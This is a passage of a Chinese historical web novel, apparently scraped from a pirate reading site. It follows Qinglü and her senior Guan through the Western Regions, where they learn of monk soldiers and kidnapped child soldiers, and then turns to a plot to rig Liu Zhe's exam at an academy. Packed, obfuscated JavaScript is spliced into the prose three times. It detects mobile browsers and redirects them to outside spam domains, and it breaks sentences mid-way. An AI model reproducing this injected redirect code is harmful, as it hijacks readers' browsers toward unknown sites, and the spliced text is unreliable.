忽见一名士卒牵马过来,将缰绳递给二哥,他们谈完了?他要走?青绿看了看管胖子,做出了一个艰难的决择。 她内心万分激动却又无比淡定地走到兮凤姐面前,躬身施礼道:“姐姐,我是昨夜在旗风楼迎候你的小二,可还记得?谢谢姐姐在孟捕头面前替我解围。”她有意提到孟捕头,陷兮凤姐于危险之地,以免她告密。 兮凤姐吃惊地看着青绿,似乎被她的出现震惊到了,但也只是愣了那么一瞬间,脸上便云淡风轻,友好地朝她点了点头。 凡非凡只是撇了青绿一眼,并没有认真看她,青绿的心有那么一瞬间凉到了冰点。她却忘了,自己是小子打扮。 凡非凡似乎什么也没听见,自顾对兮凤姐道:“姑娘既急着出城,我可安排先对你的马车进行检查。” 兮凤姐笑盈盈点头道:“谢谢范副校尉关照。” 凡非凡转身便要离去。 青绿怯怯唤道:“二哥。” 凡非凡与兮凤姐均是一愣。 凡非凡猛然回头,眼里写满了问号。 青绿一双明澈的大眼睛早已蓄满泪水,松开头上发带,青丝如墨披散在肩后,活脱脱一个苦大仇深的小丫头,她喉头一阵胀痛,哽咽着道:“二哥,我是小二。” 凡非凡在她脸上审视片刻,突然一把将她揽得紧紧的,沙哑着嗓子道:“二妹妹。” 儿时青绿与二哥最亲,二哥并不像大哥大姐那样好为人师,日日恨不得对她的一切行为进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一副正人君子的神态,与青绿平时所见的看到美人便口鼻流血的一脸油腻猥琐大叔简直判若两人。 青绿也向兮凤姐行谢礼,语含感激道:“小二谢过姐姐。” “不必客气,唤我热依罕便可。”兮凤姐回了一礼,脸上云淡风轻。 马车出了乌垒城西门便加快了速度,掠过三五个或赶着牛羊或牵着骆驼的行人,在平坦的沙道上掀起一阵烟尘,惹得行人急急用手臂捂住口鼻骂一句“毛驴子”。 青绿脸上惊魂未定,不时转头贴近车窗,透过薄薄的纱帘窥视车外,看看身后并无追兵,长松了一口气,对管胖子道:“乌垒之行算是白跑了,克扣军响事未取得证据,萨御史如今下落不明,还有僧兵什么的,怎的越查问题越多?” “越查问题越少,便无需兰台出马了,随便一个小衙门就能解决。” “但我们这么灰溜溜地走了,连士卒军饷被拖欠事也没解决。” “这个倒不难,回去上个折子奏请查克扣军饷事,都护府为了掩人耳目也会补足军饷。不过这也只是权宜之计。” “师兄,我便说吧,我二哥是好人。”青绿洋洋自得。 管胖子点头认同:“若他与刘意等是一伙的,断不敢放我们回京。” 青绿脸上又现八卦之色:“师兄,你说兮凤姐是否与我二哥有些什么?不行,回头得问问二哥。”脸色一变,“若有,算不算二哥狎妓?若被大哥知道,能吐出一缸血来。” 凡丞相对儿子们的管教极其严谨,只差没将仁义礼智信五字刻在他们身上,难道远在西域的二哥已然放飞自我? 管胖子道:“你以为所有人都能如你父亲一般?他就不是人,他是圣人。唉,圣人好歹也有三个儿子。”叹了口气,“戍边的士卒都是些二十啷当岁的小公鸡,不上战场时,总得找个地方发泄,不然岂不憋疯了?男人在外花钱找乐子,当不得真。” “那师兄你告诉我,何事能当真?”青绿朝管胖子狠狠翻了一个十方白眼。 管胖子自言自语道:“或许可以将兮凤姐收归兰台,先摸清她的底细。” 青绿将目光转向窗外,大吃一惊:“师兄,怎么还往西走?你真的要到西天取经么?要不要去高家庄告别一下?” 32.第三十二章 撸串 从乌垒回长安有南北两条线路,一是沿大漠南缘经楼兰国走阳关,另一是沿大漠北缘经楼兰国走玉门关,然后到达敦煌。 阳关位于敦煌西南约一百六十里处,玉门关则位于敦煌西北约二百一十里处,两关相距约一百七十里,中间有长城及烽燧相连,二者构成汉王朝防御西北游牧民族入侵的重要屏障,同时也是陆上丝绸之路南北两道的交通咽喉。 常说西出玉门,东归阳关,但都应向东走才是,现在马车却朝西走,岂不是离敦煌越来越远?故青绿有此惊问。 管胖子合目懒洋洋道:“你真是傻得不负重望,便没想过,此刻在回敦煌的所有关口都有罗网张开等着我们呢,只能先往西南面避避风头,也顺带摸清僧兵底细。” “僧兵在何处?” “不清楚啊。西域戎民崇尚佛教,政教合一,寺庙众多,普遍蓄有武僧,但未曾听说哪个国家养有僧兵。” 武僧相当于扈从,僧兵则是军队。 青绿顺着管胖子的思路,若有所思道:“会否有人召集各寺庙武僧组成僧兵?” 管胖子摇头道:“自从大汉在西域设都护府后,西域诸国的军政、税赋、贸易、边境纠纷等都由都护府责掌,各国虽保留有本国军队,但均在都护府掌控之中,不可能存在大量僧兵,除非……” 青绿接道:“除非是比都护府更厉害更有钱的主,才能避开都护府而私蓄僧兵。” 管胖子一掌朝青绿脑袋拍来,夸奖道:“你说话不带问号的时候,真真能掩盖你的榆木脑子实质。” 青绿被这一毫无征兆的胖熊掌拍得眼冒金星,气极,袖中抖露出弹弓,瞄准管胖子的小绿豆眼。 管胖子脱口而出:“你想造反啊?”话一出口便是一愣,双眸瞬间闪过一丝阴冷,旋即又恢复了常态,“丫头不笨,你倒是提醒我了,便往那佛教圣地于阗国走一趟,那里寺庙众多,武僧断然少不了。” 青绿叹气:“我知道何为办案了,便是不放过任何蛛丝马迹,一查到底。” 她连收获几和备注都懒得记了,因为收获太多。心里却默默:如此这般一路追踪,何时才能回到长安?何时才能查自己被套麻袋事? 茫茫西域,满目黄沙,日头毒辣,透着一股边塞独有的荒凉。 青绿嫌车内闷热,却不敢出去透风,怕被暴晒。 她有气无力地问管胖子:“于阗国有肉吃么?我觉着自己快不行了。”默默将仅剩的一囊水递给阿四,他的脊背始终挺直如钟。 管胖子肥胖更是怕热,一直在回答青绿的问题,口干舌燥,却也无可奈何:“小姑奶奶,你少提些问题便不会死,打败你的不是天真,而是天真热。” 终于,青绿在第十次冒着被毒日头摊成煎饼的危险探头眺望时,看见了一个突兀地立在路边的小酒馆,以及离酒馆不远处的一株高大的菩提树。 站在门前揽客的是个胖胖的中年男子,下巴上一撮山羊胡,穿着一件油腻腻白色长衫,一顶小白帽戴在他头上显得有些滑稽。 青绿乐了,打着门帘,回头对管胖子做了个鬼脸道:“师兄,看见没?你亲大哥。” 管胖子跟着乐呵:“你别看这掌柜长得不咋地,指不定还是国舅爷呢,我朝平定西域后,众国王又是示弱送儿子做质子、又是示好嫁女儿和亲,在西域一不留神你能碰到一打皇帝的丈母爹娘、两打小舅子或三打七姑八姨。这不,陛下疼长子,让他在西域当了亲戚们的总把头。” 青绿笑得干裂的嘴唇冒出了血丝。 青绿跟在管胖子身后下了马车。 胖掌柜迎上前,双手合十对管胖子行礼,嘴里吐出一串叽里咕噜的音节,胖男子似乎听不懂他说话,只是憨憨地点头笑着。 胖掌柜将他们带到树荫下的草地上,指了指一块空地。 草地已经坐了两拨人,一拨是一对男女带一个十来岁的孩子,看模样是一家子;另一拨是三男一女,打扮各异。 青绿、管胖子、阿四三人成三角在草地上坐下。 便有一名脸容清秀,身段丰满,穿着上红下黄西红柿炒蛋色的鲜艳衣裙的妇人过来道:“这里只卖烧烤,有马奶酒和西瓜,客官吃些什么?”说的却是汉语。 西域的沙地能焐熟鸡蛋,绿荫下却是无比清凉,此刻还有什么能比得上吃西瓜喝酒撸烤串的爽快? 青绿一迭声道:“你的腰子、你的心、你的肝,都别藏着掖着,都给小爷烤了拿来。” 妇人笑道:“客官稍候。” 等候烤串的间隙,青绿东张西望,看那两拨人都吃些啥。 一家三口在吃手把肉;另外的三男一女围着一头烤全羊,一人一把弯刀在割肉吃酒,内中一名面向管胖子的西域女子,生得十分美貌,绷紧的裙装活勒出惊人好身段,鼻翼上挂了一个金灿灿的圆环。 青绿看了一眼鼻环,有些倒胃口,怎么看都像是牛被穿了鼻子的赶脚,因想起在一杯酒馆看到的西域男子所带的鼻环与此类似,便又多看了一眼。 管胖子看着对面那女子,眼珠子都不带转的,直到妇人将一盘烤好的杂碎及一整只晶莹剔透的羊尾巴油端了过来,他才收回视线,伸出胖手拿着羊尾巴油啃了起来,目光转落在妇人身上。 青绿见胖掌柜朝妇人使了好几次眼色,有些担心他是否在暗示妇人给他们下蒙汗药,她怕被药倒后被做成人肉包子,据说西域人常这么干,于是不动声色地盯着妇人的一举一动。 便见妇人神情木然起身去了柜台,然后拎着一坛酒和几只陶碗过来,在管胖子和阿四之间挨着管胖子坐下,脸上挤出笑容道:“客官,尝尝我家自酿的马奶酒。” 管胖子瞄一眼她胸前裸露的风情,用肘子撞了一下柔软处笑道:“马□□酒我喝不惯,能喝这个最好。” 妇人眼底闪过一丝厌恶,却仍将身子靠近管胖子笑道:“奴家只卖牛羊肉,不卖人肉。”听见掌柜的咳嗽声,忙又改口,“客官,奴家先陪你吃几碗酒,若价格公道,也并非不可。” 声音低到几乎无法听清。 青绿皱了皱眉,过去坐在二人之间,揭开酒坛盖,鼻子靠近坛口咂巴着嘴道:“婶婶,我想尝尝马奶酒的滋味,哇,好香。” 妇人感激地看了青绿一眼,给三人各倒了一碗马奶酒,管胖子无奈,端起碗喝了一大口,垂头继续啃他手上肥腻的羊尾巴油。 妇人将屁股移近青绿,语气轻柔道:“小兄弟,悠着点喝,这酒后劲足着呢。” 青绿举着酒碗,大口撸着滋滋冒油的羊腰子,嘴里含混不清地笑道:“婶婶的手艺真好,烤串好吃,烤黄瓜、烤土豆,真香。”指着一个紫红色圆形球状物,“这个是啥?” 妇人道:“这是洋葱,小兄弟没见过吧。” 青绿点头,吧唧吧唧嘴道:“我看婶婶是从汉地来的吧,何不回去摆个摊子?你长得好看,手艺又好,不愁没饭吃。” 妇人浅浅一笑,问:“小兄弟是到于阗国朝佛的么?” 青绿咽下嘴里的羊腰子,点头道:“正是。” 妇人脸上显出些许活泛,话也多了起来:“于阗国是大乘佛教的中心,寺塔僧尼众多,王城名为西城,顺道向前走不多远便到了。” 青绿好奇地问:“寺庙里除了光头,还有啥可看的?” “城里有十几个大寺庙,寺庙里的佛像、绘画、雕塑很好看,还有一个仅容一人进去的的小佛寺,凡是到于阗国的人必到小佛寺打卡。” 管胖子与阿四推杯换盏,吃酒啃肉,任由青绿与妇人瞎扯。 青绿悄悄朝对面的女子扬扬下巴,问:“婶婶。我看那位姐姐鼻子上带着一个饰品很是好看,是哪个家族的标志么?” 妇人笑道:“倒也不是,西域民风彪悍,人都喜欢在鼻子耳朵或嘴唇上打孔挂上饰品,觉得威风。” 青绿点头:“原来如此。” 管胖子喝完碗里最后一口酒,又开始色眯眯地看向牛鼻子女子。 牛鼻子女子先是朝他恶狠狠地瞪眼,见不管用,便提着割肉的弯刀朝他举了举,用本地话吓唬道:“再看便将你眼珠子挖出来。” 管胖子貌似听不懂她说的话,嘿嘿笑着连连点头,还举着手上的羊肉串做了一个递给她的姿势。 牛鼻子女子气得欲将手上的酒碗朝他砸去,被左边一名披袈裟的光头男子制止:“古喜娜扎,别与这些汉人计较。” 古喜娜扎缩回手狠狠道:“这头肥汉猪该杀。” 青绿嘴角流油,一脸天真地嘻嘻笑着看管胖子和古喜娜扎之间的官司,耳朵却注意听他们说话,他们在肆无忌惮地谈论如何将她绑去做童子兵,以为青绿听不懂。 这都是些什么人啊,青绿心生警惕。 便听古喜娜扎右边坐着的墩实汉子小声道:“如今童子兵尚缺几名,肥猪边上的小子正合适。” 古喜娜扎担忧道:“阿哥,主持方丈说往后不给出门了,如何凑得出一万童子兵的数?” 光头男子凑近她调笑道:“这有何难,不就差几个么?你若跟我滚床单,十个八个都整得出来。” 古喜娜扎呸了一口道:“你个臭和尚,六根不净。” 光头低头看着自己裤档处的春笋,神情幽怨:“原本是净的,一见你便自我放飞了。” 古喜娜扎脸上并无半分羞涩,语气淡漠道:“这有何难。”突然抬手,朝他隆起的地方一掌劈下。 光头男子大惊失声:“师妹,使不得,少了这命根子人生便无快乐可言了。”见女子怒气未消,一脸谄媚,“一会我便将那小子绑回去给你。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16465515|185334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>古喜娜扎对面坐着的年纪稍大的汉子,看了一眼掀起衣衫扇风的阿四身上的八块腹肌,小声道:“那赶车的是个练家子,待他们进城后再动手。” 四人起身收拾物件准备离开。 管胖子盯着古喜娜扎弹性十足的臀部,酒碗啪地一声从手上掉了下来。 光头男子闻声看向管胖子,对他“喂”了一声,手指王城方向,做了一个抹脖子的手势,道:“胖子,美人在城里等你,有种便进城来,保证不把你剁成肉泥。” 管胖子一副听明白的样子,频频微笑点头,还朝古喜娜扎努嘴飞了一个吻,惹得四人哈哈大笑。 妇人紧张地看着他们离去,小声对青绿道:“小兄弟,你们别进城,这些人要将你绑去做僧兵。” 青绿一愣:“何为僧兵?” “城里最大的寺庙名法外寺,方丈名解空,所有寺庙都听命于他,国王也奈他不得。法外寺原有一百二十名武僧,后解空下令,凡城里寺庙,按规模大小各出二至三名武僧不等,由他集中训练,组成僧兵以防流寇。曾有僧兵在此歇脚,偶尔听他们说起,如今已有近万人。” 青绿纳闷:“这么多僧兵住在寺庙里,香客不被吓破胆么,还敢进香?” “僧兵不住庙里,住在大漠深处的龙门客栈,那里外人轻易不得靠近,还有一队由流浪儿、孤儿及被拐骗去的孩童组成的童子兵,这些孩童六七岁便开始训练,到十三四岁,个个身怀绝技,杀人不眨眼。” 青绿估算了一下,龙门客栈聚了至少二万名含童子兵在内的僧兵,规模不小,是何人指挥?想要做甚?须知汉王朝常年驻扎在都护府的汉军也就二千人左右,她感觉后背凉飕飕地有冷汗冒出。 因关切地对妇人道:“这边这么乱,婶婶你为何呆在这里?” 妇人道:“我原是敦煌人,男人在于阗做买卖,后男人病死,七岁的儿子被拐到龙门客栈,逃跑被捉回去活活打死了。这是一名逃出来的孩童告诉我的,还送来了这个。”从怀里掏出一双小布鞋,泪流满面,“我给他缝的,他一直舍不得穿。” 青绿突然问:“童子兵被捉回去后受到什么惩罚?会被砍掉手掌么?” 女人突然脸色煞白,紧张地问:“小兄弟,你如何知道这个?” 青绿道:“听说的,不知道什么人会如此残忍。” 妇人哽咽道:“这是龙门客栈僧兵的规矩。听逃出来的孩童说,若童子兵敢逃跑,被逮住了,不管生死都要被砍下右手手掌,目的是吓唬孩童不敢逃跑。”妇人身子摇摇欲坠,“我可怜的儿啊。” 青绿忙伸手扶住她,内疚道:“对不起婶婶,我不该问这个。”含泪握住她粗糙的手道:“婶婶,你随我们回敦煌吧。” 妇人用衣襟擦了一把脸上的泪水,朝着东方,目光穿过茫茫戈壁,喃喃道:“回不去了,再也回不去了,男人没了,儿子没了,回去又有何用?不如在此守着他们的亡魂,终还有相见之日。”站起身来,“你们吃好了便走吧,别进城,直接往渠勒国。” 青绿跟在她后头小声问:“婶婶你姓啥?有啥话带给敦煌的亲人么?” 妇人摇摇头,满脸哀伤道:“我姓沙,已无任何亲人,谢谢小兄弟好意。” 青绿仍是不甘心地劝道:“沙婶婶,我瞧着这个男人对你不咋地,你还是回汉地吧,武威郡有个叫一杯酒的酒馆,掌柜很好,你在那里卖烤串,保准生意兴隆。” 沙婶婶脸上现出一抹苦笑:“我借了这个戎人的银子给我男人治病,我得还债。”见青绿一脸难过,反过来安慰她,“小兄弟你不用替我担心,你看那些沙荆树,多恶劣的环境都能生存,我总有法子活下去,倒是你们,听我的,千万别进城。” 青绿郑重点头。 青绿注意到坐在柜台后的胖掌柜狐疑地看着她们,便走过去对他道:“掌柜的,来两坛酒,放车上。” 沙婶婶趁掌柜去搬酒坛之机,从炭炉旁拿了两个紫色圆形球状物递给青绿,悄声道:“这是洋葱,中原没有,可煮熟了吃,也可以当种子种植。” 临上马车前,青绿看到阿四的眼珠子狡黠地转了几转,没错,是狡黠,不由疑惑地看着他。 董胖子注意到青绿与阿四的古怪神态,小眼珠子转了转,问阿四:“你给掌柜下药了?” 阿四眼皮朝下算是默认。 青绿大为惊奇,继而心情大好,向阿四投去崇拜的小眼神:“阿四哥,下得好,药死这龟孙。” 真没想到不声不响的阿四有如此绝招,她希望沙婶婶有自由身。 管胖子横她一眼:“你当自己是阎王啊,说收人小命便收,阿四下的是泻药,也就窜稀那么三五天吧。” 青绿嘴角现出一对浅浅梨窝,并不十分遗憾:“够你亲大哥喝一壶啦。” 33.第三十三章 礼物 马车上,青绿一直掀帘看着窗外。 管胖子没好气道:“又想作妖?” 青绿回头惊喜道:“师兄,我们是在回长安么?”确认过眼神,马车这回是真的向东行。 为了避开将军府潜在的截杀,将近一旬,他们在周边小国兜兜转转,方向极不明确,青绿的心情也越来越着急,若在外晃荡一年半载的,只怕宫里的那位嬷嬷有了变数。 管胖子却有他的道理,若有人守在关口劫杀他们,久等不见会撤走或放松警惕。故他走得不慌不忙,每到一国必住上一宿,尝当地美食,逛街巷商铺,还淘了不少稀罕物,小巧精致的长颈琉璃瓶,波斯风格的浮雕银盒,一顶帽子前端悬挂鼬头的毡帽,据说是风靡当地的时尚单品。 青绿在管胖子撺掇下跟风购入一个羊脂白玉平安扣,管胖子语重心长地对她说去不了于阗买一块于阗玉也是一样的,当礼物送人十分拿得出手。 青绿看他将所购物件从小木箱里取出来放进去地反复折腾,只为能塞进一双提花丝履,嘲道:“师兄,你娶那许多娘子累不累?出门一趟还得搅尽脑汁带礼物回去,我真怕哪天你一碗水端不平,被谋杀亲夫。” 管胖子反讽:“来了一趟西域都没开窍,这些玩意儿可是移动的钱庄。” 青绿眼刀子刀他:“你是做买卖啊,朝廷规制,官员不许经商,你知法犯法罪加一等。” 管胖子呲了呲牙:“切,我这算经的哪门子商?既无商铺亦无伙计,我只是大自然的搬运工,费力气把货品从西边搬到东边而已。” 青绿竟是无言以对。 管胖子眯缝着眼睛似笑非笑地看着青绿:“我说你这丫头急着回长安,有啥好事在等着你么?” 青绿掩饰道:“我想赶回去过中秋,八月十六是我的生辰。” 眼里不由自主涌起一片迷雾,忙低下头,便算能回到家,这个中秋也注定无法家人团聚,爹娘再也不会回来了。 管胖子道:“便为这个啊。放心,一过敦煌便可快马加鞭,肯定能赶上。”抚摸着下巴,“为了鼓舞士气,我好好想想,送你什么生辰礼物。” 青绿眉开眼笑:“要拿得出手的礼物哦,别整那啥,一句祝福语代表全部,我可不认。” 管胖子瞪眼:“你也太小看师兄了。不过,你倒是会择日出生,八月十五是陛下的千秋节,你赶上普天同庆的余光呢。”喃喃自语,“皇子公主在千秋节上送什么礼物,一个个都在煞费苦心呢吧。” 青绿问:“师兄,陛下有几个儿女?都是些怎样的人?” 管胖子瞥她一眼道:“陛下家事即国事,透露不得。”倒下身子闭上双目。 青绿央求道:“师兄,给说说呗,回程路漫长,你只当八卦一下给自己解闷了。” 管胖子无奈坐了起来:“听听而已啊,不能对外瞎传。” 熙元帝刘芳有八个儿子,七个女儿。 皇长子刘意,前面已提过,这里不再赘述。 皇次子刘白,生母令狐婳,封经娥,为丞相司直令狐风嫡长女。 刘白身形高大,肤色白净,五官平和,微厚的嘴唇溢满儒雅之气,喜读诗书,好做学问,有好古之名,不领具体官职,现率太史们编撰《史记》,修撰国史。 皇三子刘纯,熙元帝嫡长子。 儿时的刘纯,皮肤细腻白嫩,单眼皮下一双细长桃花眼,深棕色的双眸带着柔柔的光,高挺的微带弧度的鼻梁及圆圆的小嘴,五官组合在一张小圆脸上,显得十分的乖巧灵动。 刘纯集帝后万千宠爱于一身,也寄帝后厚望于一身,然而如此聪明伶俐活泼可爱的龙子,十岁上却因出天花,高烧不退,命是保住了,但右胳膊再也伸不直,右手亦弯曲如鸡爪再也不能握笔。如今养一班清客门卿,聚名动京师的京城四少,终日沉迷吃喝玩乐。 皇四子刘璃,生母华氏,封容华,为皇后的陪嫁媵女,身份低微。 刘璃长相一般,气质内敛,眉羽间一股英气,书画骑射样样精通,是难得一遇的文武全才,刚举行过成年礼便领镇南将军职,镇守南疆。 皇五子刘莲,生母向氏,封经娥,辽东太守嫡女,先祖为朝廷四大柱国之一,家世十分显赫。 刘莲瓜子脸,五官秀美,性格温婉恬淡,喜文厌武,能写一手锦绣文章,陛下将他安置在尚书台近身培养。 皇六子刘睿自不必说,单以他一直居东宫便能看出端倪,无冕太子般的存在。 至于皇七子刘布及皇八子刘铭,因年纪尚幼暂且不提。 七位公主,除皇后所出的七公主刘雅颂,其余六位均已成婚。 立储不外立嫡、长、贤,但皇帝大多偏重立嫡,本来嫡长子刘纯是储君的不二人选,但他右手已残,熙元帝经深思熟虑后调整皇储战略,重点培养六皇子刘睿。因为,大汉帝国龙椅上的九五之尊必须有威震天下的王者之气,一个右手不能举起者显然达不到要求。 刘纯敏感觉察到这个变故,性情大变,原本每日雷打不动,卯时一刻第一个准时到笃学房报到的勤勉好学的孩童,便常常称病赖在床上,每日吃饱睡够,不是折磨宦者便是捉弄宫人,任谁也劝不了。 一日,陛下闻他无端端砍了一名宦者右手,一怒之下对他动用家法,若不是皇后闻讯赶来替他求情,估计他的左手会被陛下的竹鞭打残,最后陛下扔下竹鞭及一句“再有下次,褫夺皇子身份,贬为庶民”的狠话拂袖而去。 刘纯遂收敛了暴虐性子,转而开始乐享生活,脾气跟着好了许多。 他已娶正妃及三房侧妃,正妃是太后的娘家外甥女,自小定的娃娃亲,三房侧妃也是有家世有美貌,小妾通房不在少数,却还不满足,在女眷不能踏足的外书房蓄了几名娈童,男女通吃。 又时常聚新安侯末子柳立春、海安侯次子夏之末、庆安候次子周秋雁、大司农次子靳冬,人称春夏秋冬京城四少的,吟诗吃酒,赌球斗鞠,玩得花样百出,粉头娈童走马灯似地换,又折腾出百般综艺,京师里流传的曲水流觞决行首、飞花传令定花魁便出自刘纯的创意。 如此,刘纯顶着远离官场只近情场的名头做足了富贵闲人,在声色犬马中肆意放飞自我。 管胖子笑着回归正题:“每年皇子公主送的礼物都能不落俗套,唯刘纯年年一成不变地送美人,成了每年的搞笑担当。” 远在长安,正与京城四少之一、庆安候次子周秋雁商议的刘纯,不自觉地打了好几个喷嚏,他不在意地擦了擦鼻子,对周秋雁道:“你倒是替本宫拿个主意,送什么礼物给父王?今年不送美人了。” 四少之中,周秋雁主意最多,大小眼一眨两个点子,故刘纯有事常与他商量。 在送礼这个问题上,周秋雁却极不愿意动脑子,历史的经验告诉他,不管他出什么主意,最终刘纯都是送美人,似乎怕自己好色的名头夯得不够实似的。 但再不乐意也得敷衍一下,毕竟刘纯是皇子,且待自己不薄,便随口应付道:“送美女不稀罕,不如换个新花样,送美男如何?” 刘纯眼前一亮,却又摇头道:“我可不想去触母后的霉头。” 母后极为不喜父王身边的男宠,他若送男子给父王,估计下次父王再废他左手时,母后神助攻。 周秋雁道:“殿下是讨陛下欢心,又不是讨皇后欢心,陛下满意了,皇后能拿殿下如何?”说此话时,脑子里不由闪过一名清俊少年的模样。 那日在礼尚街,他的马车撞了小丫头朵朵,一对男女站出来打抱不平,他被女子迷得神魂颠倒,事后打听到二人是山尚学宫的弟子刘哲及薛姝。 周秋雁求太尉亲爹周嵩给孙穰宜大师打了招呼,然后自己亲自到学宫给管事仇一段交上丰厚束脩,正儿八经成了薛姝的师弟。 开始他以为薛姝与刘哲有些什么特殊关系,有心去撬刘哲墙脚,便着人去打探刘哲的家世,不过是个靠打几份工才能维持学业的穷小子,且家在遥远的岭南,据说无父无母,唯一的亲人爷爷已故,便未将其放在心上。 刘纯道:“话是这么说,但宫里最不缺的便是美人。” 周秋雁道:“宫里是不缺美人,但陛下选秀不也没停过么?至于男宠,若能有那等姿色佳且绝非花瓶的献上,陛下必定龙颜大悦。退一步而言,便陛下不喜,殿下留着也不错。” 刘纯身边的娈童不少,比起刘哲差的可不是十八条街。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16479467|185334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周秋雁想着,只要抛出诱饵,既穷又有野心的刘哲肯定咬钩,花些银两将他包装后层层推送上去,没准真得圣心,说不定会许他一个锦绣前程。对,礼物便着落在刘哲身上。 刘纯迟疑道:“那便试试看吧。” 山尚学宫,刘哲从管教学的冯学监手上接过自己的考卷,看到分数的那一瞬间,简直不敢相信自己的眼睛,这怎么可能? 模拟试是两日前结束的,旨在让弟子熟悉应试程序,成绩不影响往后的录取,但考得太差的弟子,比如分数不过半不能参加正式考试,这也是为弟子们着想,正式考试要交一笔不菲的费用,明知考不上何必去花这个冤枉钱。 刘哲看着试卷,五道题他只答了第一道,其余全为空白。明明记得自己当时拿到考卷,略略审题后,毫不迟疑地挥毫洋洋洒洒一气答完所有题目,还有充裕时间对着卷面工整漂亮的小楷得意了一把。 他预考只报了一门兵法,并未报儒学,老千表示他无须参加儒学的预考,直接参加八月的录考即可。故兵法预考考得不好,他仍能参加儒学的正式考试,只是,这个兵法的预考成绩对他的打击实在太大。 刘哲目光迷离地看着考卷,怀疑不是自己的,但卷首却清清楚楚写着他的名字,且答题确是自己的笔迹,又猜想是否有人恶作剧,却又否了,因为预考分数不影响录取,录取考试由各门派大师亲自主持,故没谁吃饱了撑的在预考上搞这种损人不利已的勾当。 那么只有一种可能,自己确实没有答完题,却误以为已经答完了,难道是书读多了出现幻觉?他摇摇头,垂头丧气缓缓走回云溪阁书房。 他却不知,学宫管事仇一段一直在暗中跟着他。 这仇一段人如其姓,长着一张苦大仇深的脸,明明身上肥肉不少,但脸颊凹陷,嘴角下垂,日常对弟子们无甚好脸色,似乎所有弟子都借了他家银子赖着不还。 看着丢了魂似的刘哲,仇一段心里一块石头落地,终于替人办完事了,自己便也有交换的条件了。他站在树荫下举起杯子想喝一口十全大补汤,冷不防被一个巴掌狠狠拍在肩头,吓得杯子脱手飞了出去,幸亏还没喝,不然真能被呛死。 仇一段回头待要破口大骂,却看见锦衣华服的周秋雁站在身后,忙将身子转到与头同向,满脸堆笑道:“周公子大驾光临,有失远迎,这不正要去向你报告么。唉,一大早到现在都在配合冯学监发放试卷,忙成狗了,水都没喝一口。” 周秋雁微眯着大小眼斜睨着他:“爷的事办得如何?” 仇一段巴结道:“公子吩咐的事,自然是办得妥妥的,现如今那小子必定正处于绝望崩溃的边缘,公子给他指条明路,他没有不上道的理。” 周秋雁满意地拍拍他的肩膀,许诺道:“仇管事放心,你的事包在小爷身上。” 仇一段脸现欣喜之色,拱手作揖:“仇某这厢先谢过公子。” 仇一段在管事位置上干的时间不短,算学宫大管家,但学宫为私学,除大祭酒外,还有分管教学及行政的左右二位祭酒,管理的篱笆织得甚严,能让仇一段挖墙脚的地方不多,不过是逮些违反校规的弟子敲一笔竹杠类的小打小闹。 他的俸禄不低,但他好喝花酒,有限的收入便显得促襟见肘。年前有同门给他递了太学要招行政学监的消息,他动了挪一下屁股的心思,但太学是官学,得有说话管用的官员引荐。 他正苦于摸不着门道,正好周秋雁让他帮一个忙,叫他想办法在预考中给名为刘哲的弟子一个怀疑人生的分数,答应成事后让太尉亲爹帮他达成目的。 他毫不犹豫地点头应承。 按理,预考归教学学监管,轮不到仇一段插手,但考场监考归他管,且预考只是教学学监组织几名先生出几道综合题模拟一下考试而已,大师们对此并不重视,只略审一下考题,对评卷及成绩是不过问的,故他有的是机会动手脚。 仇一段查到刘哲报考的是孙穰宜的兵法,又看了学监出的考题,便寻了一份刘哲所抄经书,令人仿照他的笔迹提前写了一份试卷。预考那日,仇一段重点关注刘哲所在的考场,在刘哲交卷离开后,袖中掏出备好的考卷将刘哲的考卷替换了下来。 34.第三十四章 挨揍 刘哲拿着考卷,跌跌撞撞走回云书阁书房,却见薛姝迎面而来,忙将考卷揣进怀里,不能让她看到分数,否则期会上险胜她一分的状元封号会跌份。 他朝薛姝行了一礼:“薛姑娘好。” 薛姝回礼,目光在他脸上停留片刻:“你怎么了?” 刘哲摇头:“无妨,想来是在书房呆久的缘故。”忙转移话题,“替师娘谢过薛姑娘,她脸上的瘢痕淡了许多。” 薛姝一笑:“不足挂齿。”行礼告别。 刘哲才走几步,便见学宫管事仇一段站在前方不远处的榉树下向他招手,眼含笑意,嘴角向下耸拉,不太肯定是笑是怨。 刘哲朝他走去,礼貌行礼:“仇管事好。” 仇一段眼里笑意更浓,嘴角也下拉得更明显:“刘哲是吧,你随我来,有人要见你。” 刘哲问:“上哪?何人要见我?” 仇一段道:“敏学讲堂旁的小书房,去了你便知晓,终归是好事。” 刘哲没有想太多,左右不过学宫分配到百里先生名下的杂事罢了,于是跟着仇一段到了小书房,这是大师们课间休憇的地方。 却见一名彩冠华服的公子哥悠闲地坐在椅子上,随意地用手中长剑一下一下削着面前的桌角,地上一堆碎屑。 听见脚步声,公子哥抬起头来,长剑入鞘,随手拨开脸颊左侧遮住小半张脸的一缕秀发。 